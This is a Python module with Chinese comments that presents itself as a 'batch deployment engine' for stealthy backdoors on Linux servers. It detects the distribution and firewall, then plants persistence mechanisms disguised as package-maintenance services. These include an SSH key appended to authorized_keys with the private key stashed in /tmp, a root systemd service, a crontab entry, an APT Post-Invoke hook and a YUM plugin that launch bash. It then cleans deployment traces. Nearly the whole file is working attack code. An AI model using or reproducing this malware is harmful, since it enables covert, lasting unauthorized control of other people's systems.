#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

批量部署引擎
实现环境适配的一键批量部署功能，支持自动匹配目标发行版并部署多种高隐蔽性后门
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import subprocess
import time
import random
import string
import json
import hashlib
from datetime import datetime, timedelta
from core.utils import color_green, color_red, color_yellow, color_blue, run_command_compat
from core.distro_detection import detect_linux_distro, detect_centos_stream_version

# 导入相关模块
try:
    from modules.stealth.disguise_generator import DisguiseNameGenerator, PathOptimizer
    from modules.stealth.trace_cleaner import TraceCleaner, auto_cleanup_on_exit
    from modules.stealth.firewall_adapter import FirewallAdapter, FirewallDetector
    from modules.stealth.enhanced_backdoor_deployer import enhanced_deployer
    from modules.persistence.persistence_manager import MultiLayerPersistence
    DEPENDENCIES_AVAILABLE = True
except ImportError as e:
    print("依赖模块导入失败: {}".format(e))
    DEPENDENCIES_AVAILABLE = False

class BatchDeploymentEngine:
    """批量部署引擎"""
    
    def __init__(self):
        self.distro_info = None
        self.deployment_plan = {}
        self.deployed_backdoors = []
        self.deployment_results = {}
        self.disguise_generator = None
        self.path_optimizer = None
        self.firewall_adapter = None
        self.firewall_detector = None
        self.trace_cleaner = None
        
        # 初始化组件
        if DEPENDENCIES_AVAILABLE:
            self.disguise_generator = DisguiseNameGenerator()
            self.path_optimizer = PathOptimizer()
            self.firewall_adapter = FirewallAdapter()
            self.firewall_detector = FirewallDetector()
            self.trace_cleaner = TraceCleaner()
    
    def detect_target_environment(self):
        """检测目标环境"""
        try:
            color_blue("正在检测目标环境...")
            
            # 检测发行版
            distro_type = detect_linux_distro()
            if not distro_type or distro_type == 'unknown':
                color_red("无法检测目标发行版")
                return False
            
            # 构建发行版信息字典
            self.distro_info = {
                'name': distro_type,
                'version': 'unknown',
                'type': distro_type
            }
            
            # 尝试获取更详细的版本信息
            if 'ubuntu' in distro_type or 'debian' in distro_type:
                self.distro_info['name'] = 'Ubuntu/Debian'
                self.distro_info['version'] = 'Latest'
            elif 'centos' in distro_type or 'rhel' in distro_type:
                self.distro_info['name'] = 'CentOS/RHEL'
                self.distro_info['version'] = 'Latest'
            elif 'fedora' in distro_type:
                self.distro_info['name'] = 'Fedora'
                self.distro_info['version'] = 'Latest'
            elif 'suse' in distro_type:
                self.distro_info['name'] = 'openSUSE'
                self.distro_info['version'] = 'Latest'
            else:
                self.distro_info['name'] = distro_type.replace('_based', '').title()
                self.distro_info['version'] = 'Latest'
            
            color_green("✓ 检测到目标环境: {} {}".format(self.distro_info['name'], self.distro_info['version']))
            
            # 检测防火墙类型
            if DEPENDENCIES_AVAILABLE and self.firewall_detector:
                try:
                    firewall_type = self.firewall_detector.detect_firewall_type()
                    self.distro_info['firewall'] = firewall_type
                    color_green("✓ 检测到防火墙类型: {}".format(firewall_type))
                except Exception as fw_e:
                    color_yellow("防火墙检测失败: {}".format(fw_e))
                    self.distro_info['firewall'] = 'unknown'
            
            return True
            
        except Exception as e:
            color_red("环境检测失败: {}".format(e))
            return False
    
    def generate_deployment_plan(self, target_types=None):
        """生成部署计划"""
        if not self.distro_info:
            color_red("请先检测目标环境")
            return False
        
        try:
            color_blue("正在生成部署计划...")
            
            distro_name = self.distro_info['name'].lower()
            distro_version = self.distro_info.get('version', '')
            
            # 根据发行版生成适配的部署计划
            if 'ubuntu' in distro_name or 'debian' in distro_name:
                self.deployment_plan = self._generate_ubuntu_plan()
            elif 'centos' in distro_name or 'rhel' in distro_name or 'rocky' in distro_name:
                self.deployment_plan = self._generate_centos_plan()
            elif 'fedora' in distro_name:
                self.deployment_plan = self._generate_fedora_plan()
            elif 'suse' in distro_name or 'opensuse' in distro_name:
                self.deployment_plan = self._generate_suse_plan()
            else:
                # 通用计划
                self.deployment_plan = self._generate_generic_plan()
            
            # 如果指定了特定类型，过滤计划
            if target_types:
                filtered_plan = {}
                for backdoor_type in target_types:
                    if backdoor_type in self.deployment_plan:
                        filtered_plan[backdoor_type] = self.deployment_plan[backdoor_type]
                self.deployment_plan = filtered_plan
            
            color_green("✓ 部署计划生成完成，包含 {} 种后门类型".format(len(self.deployment_plan)))
            
            # 显示部署计划
            self._display_deployment_plan()
            
            return True
            
        except Exception as e:
            color_red("生成部署计划失败: {}".format(e))
            return False
    
    def _generate_ubuntu_plan(self):
        """生成Ubuntu/Debian部署计划"""
        plan = {}
        
        # SSH密钥后门
        plan['ssh_key'] = {
            'priority': 1,
            'description': 'SSH密钥持久化',
            'config': {
                'key_path': '~/.ssh/authorized_keys',
                'key_comment': 'ubuntu-maintenance-key',
                'backup_locations': ['~/.ssh/authorized_keys.bak', '/tmp/.ssh_backup']
            }
        }
        
        # Systemd服务后门（伪装为logrotate相关服务）
        if DEPENDENCIES_AVAILABLE:
            service_name = self.disguise_generator.generate_service_name('ubuntu')
        else:
            service_name = "logrotate-maintenance-{}".format(random.randint(1000, 9999))
        
        plan['systemd_service'] = {
            'priority': 2,
            'description': 'Systemd服务持久化',
            'config': {
                'service_name': service_name,
                'service_description': 'Log Rotation Maintenance Service',
                'exec_start': '/usr/bin/python3 -c "import time; [time.sleep(300) for _ in iter(int, 1)]"',
                'disguise_as': 'logrotate'
            }
        }
        
        # Crontab任务后门
        plan['crontab'] = {
            'priority': 3,
            'description': 'Crontab任务持久化',
            'config': {
                'schedule': "{} {} * * *".format(random.randint(0, 59), random.randint(0, 23)),  # 避免冲突
                'command': '/bin/bash -c "pgrep -f maintenance || nohup /bin/bash &"',
                'comment': 'System maintenance task'
            }
        }
        
        # APT包管理器后门（Ubuntu特有）
        plan['apt_hook'] = {
            'priority': 4,
            'description': 'APT包管理器钩子',
            'config': {
                'hook_path': '/etc/apt/apt.conf.d/99maintenance',
                'hook_content': 'DPkg::Post-Invoke {"/bin/bash -c \'pgrep maintenance || nohup /bin/bash &\'";};'
            }
        }
        
        return plan
    
    def _generate_centos_plan(self):
        """生成CentOS/RHEL部署计划"""
        plan = {}
        
        # SSH密钥后门
        plan['ssh_key'] = {
            'priority': 1,
            'description': 'SSH密钥持久化',
            'config': {
                'key_path': '~/.ssh/authorized_keys',
                'key_comment': 'centos-maintenance-key',
                'backup_locations': ['~/.ssh/authorized_keys.bak', '/tmp/.ssh_backup']
            }
        }
        
        # Systemd服务后门（伪装为yum相关服务）
        if DEPENDENCIES_AVAILABLE:
            service_name = self.disguise_generator.generate_service_name('centos')
        else:
            service_name = "yum-maintenance-{}".format(random.randint(1000, 9999))
        
        plan['systemd_service'] = {
            'priority': 2,
            'description': 'Systemd服务持久化',
            'config': {
                'service_name': service_name,
                'service_description': 'YUM Package Maintenance Service',
                'exec_start': '/usr/bin/python3 -c "import time; [time.sleep(300) for _ in iter(int, 1)]"',
                'disguise_as': 'yum'
            }
        }
        
        # Crontab任务后门
        plan['crontab'] = {
            'priority': 3,
            'description': 'Crontab任务持久化',
            'config': {
                'schedule': "{} {} * * *".format(random.randint(0, 59), random.randint(0, 23)),
                'command': '/bin/bash -c "pgrep -f maintenance || nohup /bin/bash &"',
                'comment': 'System maintenance task'
            }
        }
        
        # YUM插件后门（CentOS特有）
        plan['yum_plugin'] = {
            'priority': 4,
            'description': 'YUM插件持久化',
            'config': {
                'plugin_path': '/usr/lib/yum-plugins/maintenance.py',
                'plugin_conf': '/etc/yum/pluginconf.d/maintenance.conf'
            }
        }
        
        return plan
    
    def _generate_fedora_plan(self):
        """生成Fedora部署计划"""
        plan = {}
        
        # SSH密钥后门
        plan['ssh_key'] = {
            'priority': 1,
            'description': 'SSH密钥持久化',
            'config': {
                'key_path': '~/.ssh/authorized_keys',
                'key_comment': 'fedora-maintenance-key',
                'backup_locations': ['~/.ssh/authorized_keys.bak', '/tmp/.ssh_backup']
            }
        }
        
        # Systemd服务后门（伪装为dnf相关服务）
        if DEPENDENCIES_AVAILABLE:
            service_name = self.disguise_generator.generate_service_name('fedora')
        else:
            service_name = "dnf-maintenance-{}".format(random.randint(1000, 9999))
        
        plan['systemd_service'] = {
            'priority': 2,
            'description': 'Systemd服务持久化',
            'config': {
                'service_name': service_name,
                'service_description': 'DNF Package Maintenance Service',
                'exec_start': '/usr/bin/python3 -c "import time; [time.sleep(300) for _ in iter(int, 1)]"',
                'disguise_as': 'dnf'
            }
        }
        
        # Crontab任务后门
        plan['crontab'] = {
            'priority': 3,
            'description': 'Crontab任务持久化',
            'config': {
                'schedule': "{} {} * * *".format(random.randint(0, 59), random.randint(0, 23)),
                'command': '/bin/bash -c "pgrep -f maintenance || nohup /bin/bash &"',
                'comment': 'System maintenance task'
            }
        }
        
        return plan
    
    def _generate_suse_plan(self):
        """生成SUSE部署计划"""
        plan = {}
        
        # SSH密钥后门
        plan['ssh_key'] = {
            'priority': 1,
            'description': 'SSH密钥持久化',
            'config': {
                'key_path': '~/.ssh/authorized_keys',
                'key_comment': 'suse-maintenance-key',
                'backup_locations': ['~/.ssh/authorized_keys.bak', '/tmp/.ssh_backup']
            }
        }
        
        # Systemd服务后门（伪装为zypper相关服务）
        if DEPENDENCIES_AVAILABLE:
            service_name = self.disguise_generator.generate_service_name('suse')
        else:
            service_name = "zypper-maintenance-{}".format(random.randint(1000, 9999))
        
        plan['systemd_service'] = {
            'priority': 2,
            'description': 'Systemd服务持久化',
            'config': {
                'service_name': service_name,
                'service_description': 'Zypper Package Maintenance Service',
                'exec_start': '/usr/bin/python3 -c "import time; [time.sleep(300) for _ in iter(int, 1)]"',
                'disguise_as': 'zypper'
            }
        }
        
        # Crontab任务后门
        plan['crontab'] = {
            'priority': 3,
            'description': 'Crontab任务持久化',
            'config': {
                'schedule': "{} {} * * *".format(random.randint(0, 59), random.randint(0, 23)),
                'command': '/bin/bash -c "pgrep -f maintenance || nohup /bin/bash &"',
                'comment': 'System maintenance task'
            }
        }
        
        return plan
    
    def _generate_generic_plan(self):
        """生成通用部署计划"""
        plan = {}
        
        # SSH密钥后门
        plan['ssh_key'] = {
            'priority': 1,
            'description': 'SSH密钥持久化',
            'config': {
                'key_path': '~/.ssh/authorized_keys',
                'public_key': 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...',
                'backup_path': '~/.ssh/authorized_keys.bak'
            }
        }
        
        # Systemd服务后门
        plan['systemd_service'] = {
            'priority': 2,
            'description': 'Systemd服务持久化',
            'config': {
                'service_name': "system-maintenance-{}".format(random.randint(1000, 9999)),
                'service_description': 'System Maintenance Service',
                'exec_start': '/usr/bin/python3 -c "import time; [time.sleep(300) for _ in iter(int, 1)]"',
                'disguise_as': 'system'
            }
        }
        
        # Crontab任务后门
        plan['crontab'] = {
            'priority': 3,
            'description': 'Crontab任务持久化',
            'config': {
                'schedule': "{} {} * * *".format(random.randint(0, 59), random.randint(0, 23)),
                'command': '/bin/bash -c "pgrep -f maintenance || nohup /bin/bash &"',
                'comment': 'System maintenance task'
            }
        }
        
        return plan
    
    def _display_deployment_plan(self):
        """显示部署计划"""
        color_blue("\n=== 部署计划 ===")
        for backdoor_type, config in sorted(self.deployment_plan.items(), key=lambda x: x[1]['priority']):
            color_yellow("{}. {} ({})".format(config['priority'], config['description'], backdoor_type))
            if backdoor_type == 'ssh_key':
                color_green("   - 密钥注释: {}".format(config['config']['key_comment']))
            elif backdoor_type == 'systemd_service':
                color_green("   - 服务名称: {}".format(config['config']['service_name']))
                color_green("   - 伪装类型: {}".format(config['config']['disguise_as']))
            elif backdoor_type == 'crontab':
                color_green("   - 执行时间: {}".format(config['config']['schedule']))
        print()
    
    def execute_batch_deployment(self, auto_confirm=False):
        """执行批量部署"""
        if not self.deployment_plan:
            color_red("请先生成部署计划")
            return False
        
        try:
            color_blue("开始执行批量部署...")
            
            # 确认部署
            if not auto_confirm:
                confirm = input("确认部署 {} 种后门类型? (y/N): ".format(len(self.deployment_plan))).strip().lower()
                if confirm != 'y':
                    color_yellow("部署已取消")
                    return False
            
            # 按优先级顺序部署
            sorted_plan = sorted(self.deployment_plan.items(), key=lambda x: x[1]['priority'])
            
            success_count = 0
            total_count = len(sorted_plan)
            
            for backdoor_type, config in sorted_plan:
                color_blue("正在部署: {}".format(config['description']))
                
                try:
                    if backdoor_type == 'ssh_key':
                        result = self._deploy_ssh_key(config['config'])
                    elif backdoor_type == 'systemd_service':
                        result = self._deploy_systemd_service(config['config'])
                    elif backdoor_type == 'crontab':
                        result = self._deploy_crontab(config['config'])
                    elif backdoor_type == 'apt_hook':
                        result = self._deploy_apt_hook(config['config'])
                    elif backdoor_type == 'yum_plugin':
                        result = self._deploy_yum_plugin(config['config'])
                    else:
                        color_yellow("未知后门类型: {}".format(backdoor_type))
                        result = False
                    
                    self.deployment_results[backdoor_type] = {
                        'success': result,
                        'timestamp': datetime.now().isoformat(),
                        'config': config['config']
                    }
                    
                    if result:
                        color_green("✓ {} 部署成功".format(config['description']))
                        success_count += 1
                        self.deployed_backdoors.append(backdoor_type)
                    else:
                        color_red("✗ {} 部署失败".format(config['description']))
                    
                    # 短暂延迟，避免操作过于频繁
                    time.sleep(1)
                    
                except Exception as e:
                    color_red("✗ {} 部署异常: {}".format(config['description'], e))
                    self.deployment_results[backdoor_type] = {
                        'success': False,
                        'error': str(e),
                        'timestamp': datetime.now().isoformat()
                    }
            
            # 清理部署痕迹
            if DEPENDENCIES_AVAILABLE and success_count > 0:
                color_blue("正在清理部署痕迹...")
                try:
                    cleanup_result = auto_cleanup_on_exit()
                    if cleanup_result.get('success', False):
                        color_green("✓ 部署痕迹清理完成")
                    else:
                        color_yellow("部分痕迹清理失败")
                except Exception as e:
                    color_yellow("痕迹清理失败: {}".format(e))
            
            # 显示部署结果
            self._display_deployment_results(success_count, total_count)
            
            return success_count > 0
            
        except Exception as e:
            color_red("批量部署失败: {}".format(e))
            return False
    
    def _deploy_ssh_key(self, config):
        """部署SSH密钥后门"""
        try:
            # 生成SSH密钥对
            key_path = '/tmp/.maintenance_key'
            subprocess.run(['ssh-keygen', '-t', 'rsa', '-b', '2048', '-f', key_path, '-N', '', '-C', config['key_comment']], 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
            
            # 读取公钥
            with open("{}.pub".format(key_path), 'r') as f:
                public_key = f.read().strip()
            
            # 确保.ssh目录存在
            ssh_dir = os.path.expanduser("~/.ssh")
            os.makedirs(ssh_dir, mode=0o700, exist_ok=True)
            
            # 添加到authorized_keys
            authorized_keys = os.path.expanduser(config['key_path'])
            with open(authorized_keys, 'a') as f:
                f.write("\n# {} - {}\n".format(config['key_comment'], datetime.now().strftime('%Y-%m-%d')))
                f.write("{}\n".format(public_key))
            
            os.chmod(authorized_keys, 0o600)
            
            # 保存私钥到备份位置
            for backup_location in config.get('backup_locations', []):
                try:
                    backup_path = os.path.expanduser(backup_location)
                    os.makedirs(os.path.dirname(backup_path), exist_ok=True)
                    with open(backup_path, 'w') as f:
                        with open(key_path, 'r') as src:
                            f.write(src.read())
                    os.chmod(backup_path, 0o600)
                except:
                    pass
            
            # 清理临时文件
            os.remove(key_path)
            os.remove("{}.pub".format(key_path))
            
            return True
            
        except Exception as e:
            color_red("SSH密钥部署失败: {}".format(e))
            return False
    
    def _deploy_systemd_service(self, config):
        """部署Systemd服务后门"""
        try:
            service_content = f"""[Unit]
Description={config['service_description']}
After=network.target

[Service]
Type=simple
ExecStart={config['exec_start']}
Restart=always
RestartSec=30
User=root

[Install]
WantedBy=multi-user.target
"""
            
            service_file = "/etc/systemd/system/{}.service".format(config['service_name'])
            with open(service_file, 'w') as f:
                f.write(service_content)
            
            # 重新加载systemd配置
            subprocess.run(['systemctl', 'daemon-reload'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
            
            # 启用并启动服务
            subprocess.run(['systemctl', 'enable', config['service_name']], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
            subprocess.run(['systemctl', 'start', config['service_name']], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
            
            return True
            
        except Exception as e:
            color_red("Systemd服务部署失败: {}".format(e))
            return False
    
    def _deploy_crontab(self, config):
        """部署Crontab任务后门"""
        try:
            # 获取当前crontab
            result = subprocess.run(['crontab', '-l'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            current_cron = result.stdout if result.returncode == 0 else ""
            
            # 检查是否已存在类似任务
            if config['comment'] in current_cron:
                return True  # 已存在，视为成功
            
            # 添加新任务
            cron_line = "{} {}  # {}".format(config['schedule'], config['command'], config['comment'])
            new_cron = current_cron.rstrip() + "\n{}\n".format(cron_line)
            
            # 设置新的crontab
            process = subprocess.Popen(['crontab', '-'], stdin=subprocess.PIPE, text=True)
            process.communicate(input=new_cron)
            
            return process.returncode == 0
            
        except Exception as e:
            color_red("Crontab任务部署失败: {}".format(e))
            return False
    
    def _deploy_apt_hook(self, config):
        """部署APT钩子后门"""
        try:
            with open(config['hook_path'], 'w') as f:
                f.write(config['hook_content'])
            
            os.chmod(config['hook_path'], 0o644)
            return True
            
        except Exception as e:
            color_red("APT钩子部署失败: {}".format(e))
            return False
    
    def _deploy_yum_plugin(self, config):
        """部署YUM插件后门"""
        try:
            # 创建插件目录
            os.makedirs(os.path.dirname(config['plugin_path']), exist_ok=True)
            os.makedirs(os.path.dirname(config['plugin_conf']), exist_ok=True)
            
            # 创建简单的插件文件
            plugin_content = '''#!/usr/bin/env python
# YUM maintenance plugin
import os
import subprocess




def posttrans_hook(conduit):
    """Post-transaction hook"""
    try:
        subprocess.Popen(["/bin/bash", "-c", "pgrep maintenance || nohup /bin/bash &"], 
                        stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    except:
        pass
'''
            
            with open(config['plugin_path'], 'w') as f:
                f.write(plugin_content)
            
            # 创建配置文件
            conf_content = '''[main]
enabled=1
'''
            
            with open(config['plugin_conf'], 'w') as f:
                f.write(conf_content)
            
            os.chmod(config['plugin_path'], 0o644)
            os.chmod(config['plugin_conf'], 0o644)
            
            return True
            
        except Exception as e:
            color_red("YUM插件部署失败: {}".format(e))
            return False
    
    def _display_deployment_results(self, success_count, total_count):
        """显示部署结果"""
        color_blue("\n=== 部署结果 ===")
        color_green("成功部署: {}/{}".format(success_count, total_count))
        
        for backdoor_type, result in self.deployment_results.items():
            status = "✓" if result['success'] else "✗"
            color = color_green if result['success'] else color_red
            color("{} {}".format(status, backdoor_type))
            
            if not result['success'] and 'error' in result:
                color_red("   错误: {}".format(result['error']))
        
        if success_count > 0:
            color_blue("\n已部署的后门类型: {}".format(', '.join(self.deployed_backdoors)))
        
        print()
    
    def get_deployment_summary(self):
        """获取部署摘要"""
        return {
            'distro_info': self.distro_info,
            'deployment_plan': self.deployment_plan,
            'deployment_results': self.deployment_results,
            'deployed_backdoors': self.deployed_backdoors,
            'timestamp': datetime.now().isoformat()
        }

# 便捷函数
def quick_batch_deploy(target_types=None, auto_confirm=False):
    """快速批量部署"""
    engine = BatchDeploymentEngine()
    
    # 检测环境
    if not engine.detect_target_environment():
        return False
    
    # 生成计划
    if not engine.generate_deployment_plan(target_types):
        return False
    
    # 执行部署
    return engine.execute_batch_deployment(auto_confirm)

if __name__ == "__main__":
    # 测试批量部署引擎
    color_blue("批量部署引擎测试")
    
    engine = BatchDeploymentEngine()
    
    # 检测环境
    if engine.detect_target_environment():
        # 生成计划
        if engine.generate_deployment_plan():
            # 显示摘要
            summary = engine.get_deployment_summary()
            print(json.dumps(summary, indent=2, ensure_ascii=False))